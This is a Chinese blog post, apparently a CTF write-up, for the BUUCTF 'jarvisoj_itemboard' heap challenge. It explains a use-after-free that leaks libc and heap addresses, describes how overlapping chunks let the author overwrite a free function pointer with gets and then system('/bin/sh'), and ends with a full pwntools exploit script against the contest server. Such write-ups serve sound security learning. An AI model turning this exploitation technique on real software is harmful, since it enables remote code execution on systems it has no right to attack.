jarvisoj_itemboard

[BUUCTF] jarvisoj_itemboard


这是一道非常有意思的堆题

反编译代码审计

checksec一下看看开启的防护机制,发现没开Canary,但是对于堆题来说Canary往往是无关紧要。
另外这题是Ubuntu 16环境,没有tcache。

图片.png

先看一下这个数据结构:

typedef struct heapInfo{
    char * name;
    char * content;
    void (*free_func)(heapInfo *);
}heapInfo 

这里name和content都是两个字符串,free_func是一个函数指针,本来是用来释放内存的。一般这种把函数地址存在数据块中的题都有一个改函数地址跑shell的思路。

然后我们会发现bss段有一个数组:

heapInfo * item_array[xxx];     //具体大小未知,不重要了

需要注意这个数组并不是在bss段或者data段,在这一题中,这个数组是放在堆段的。
图片.png

new_item功能会malloc(0x18)来创建一个heapInfo,同时malloc(0x20)来创建一个属于name的内存块,并且会根据输入的size来创建堆块给content。注意两次输出都是先将输入的内容存放在缓冲区,然后再用strcpy函数拷贝到堆块中,这就导致如果我们输入了\x00,就会导致后面的内容被截断掉。
图片.png

另外个人认为这个read函数里面有一个off-by-null漏洞,还未亲自证实,不过这里并未用到。不知道这里是不是另有突破口,这里欢迎大佬们评论。
图片.png

list_item和show_item都很正常,没啥大问题。问题在remove_item这里,没有将被释放的指针指令,导致这里有一个非常要命的UAF漏洞。另外,这种用函数指针去释放内存(准确的说,是把函数指针放进内存块这一行为本身)的行为一直都特别容易成漏洞。
图片.png

攻击思路整理

首先,UAF,unsorted bin chunk,在配上打印功能,直接白给libc基址和堆基址(不会有人不知道这个吧)。

接下来,对于这指针数组储存heapInfo地址,再由heapInfo指向内存块的结构(菜鸡刚学数据结构不知道这叫啥,是广义表?),往往可以通过释放两个heapInfo(假设下标依次为0和1)之后,申请和heapInfo大小相同的content块,这样,2的heapInfo就是1的heapInfo,2的content就是0的heapInfo,然后就可以修改0的heapInfo来实现攻击。

你问我怎么攻击?任意地址执行都有了,还没思路?这不速速写onegadget?

理论上来说是正确的,但是还有一些小细节需要注意。

EXP和一些小细节

劫持了0(实际上不是0,只是这三个中的“0”)号heapInfo之后,自然而然第一个想法是修改函数指针为free_func为onegadget。但是很遗憾经本人亲子测试这是不可行的,4个onegadget均不满足条件,所以只能退而求其次跑system("/bin/sh\x00")。这里free_func指向的函数在remove_item中被执行时还会传一个参数,即heapInfo的地址。

我们可以在给被劫持的堆块中写入"/bin/sh\x00"+p64(0)+p64(system_addr)这一字符串,但是由于所有进入堆块的内容都是由strcpy从缓冲区拷贝而来,"/bin/sh\x00"由于含有\x00,会截断后面的system_addr

最好的解决办法是把\x00换成";"这个东西会被Linux认作命令的分隔符。毕竟system本身就是把它参数的字符串作为命令执行嘛,你直接在终端敲个/bin/sh;试一试也是能跑的。(这一段我在“Pwn奇怪的知识点”里面有收集)

第二个方法是先写gets函数而不是system,利用gets将"/bin/sh\x00"+p64(0)+p64(system_addr)这一字符串写进heapInfo结构绕过strcpy的截断干扰。

写完了,那就放exp了:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

#r=process('/home/wjc/Desktop/itemboard')
r=remote('node4.buuoj.cn',29529)
libc=ELF("/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so")

def cmd(idx):
    r.recvuntil('choose:')
    r.sendline(str(idx))

def Add(name,size,content):
    cmd(1)
    r.recvuntil('Item name?')
    r.sendline(name)
    r.recvuntil("Description's len?")
    r.sendline(str(size))
    r.recvuntil('Description?')
    r.sendline(content)

def List():
    cmd(2)

def Show(idx):
    cmd(3)
    r.recvuntil('Which item?')
    r.sendline(str(idx))

def Del(idx):
    cmd(4)
    r.recvuntil('Which item?')
    r.sendline(str(idx))


def pwn():
    Add('AAAA',0x80,'aaaa')     #0
    Add('BBBB',0x80,'bbbb')     #1

    Del(0)
    Show(0)
    r.recvuntil('Description:')
    libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f14d8ceeb78-0x7f14d892a000)

    offset=[0x45216,0x4526a,0xf02a4,0xf1147]
    onegadget=libcbase+offset[3]
    gets_addr=libcbase+libc.symbols['gets']
    system_addr=libcbase+libc.symbols['system']

    Del(1)
    List()
    r.recvuntil('No.0')
    r.recvuntil('name:')
    heapbase=u64(r.recv(6).ljust(8,'\x00'))-(0x55773fcc05c0-0x55773fcc0000)

    Add('CCCC',0xa0,'cccc')     #2
    
    Add('DDDD',0x60,'dddd')     #3
    Add('EEEE',0x60,'eeee')     #4
    
    Del(4)
    Del(3)

    Add('FFFF',0x18,0x10*'f'+p64(gets_addr))   #5


    print('libcbase:',hex(libcbase))
    print('heapbase:',hex(heapbase))
    print('onegadget:',hex(onegadget))
    
    Del(4)
    sleep(0.1)
    r.sendline('/bin/sh\x00'+0x8*'f'+p64(system_addr))

    Del(4)

    #gdb.attach(r)


pwn()

r.interactive()

posted @ 2022-10-06 17:58  Jmp·Cliff  阅读(43)  评论(0编辑  收藏  举报